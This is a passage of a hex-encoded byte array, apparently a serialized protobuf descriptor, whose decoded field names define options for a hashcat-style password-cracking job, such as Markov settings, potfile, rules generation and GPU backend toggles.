0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, - 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, - 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, - 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, - 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, - 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, - 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, - 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, - 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, - 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, - 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, - 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, - 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, - 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, - 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, - 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, - 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, - 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, - 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, - 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, - 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, - 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, - 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, - 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, - 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, - 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, - 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, - 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, - 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, - 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, - 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, - 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, - 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, - 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, - 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, - 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, - 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, - 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, - 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, - 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, - 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, - 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, - 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, - 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, - 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, - 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, - 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, - 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, - 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, - 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, - 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, - 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, - 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, - 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, - 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, - 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, - 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, - 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, - 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, - 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, - 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, - 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, - 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, - 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, - 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, - 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, - 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, - 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, - 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, - 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, - 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, - 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, - 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, - 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, - 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, - 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, - 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, - 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, - 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 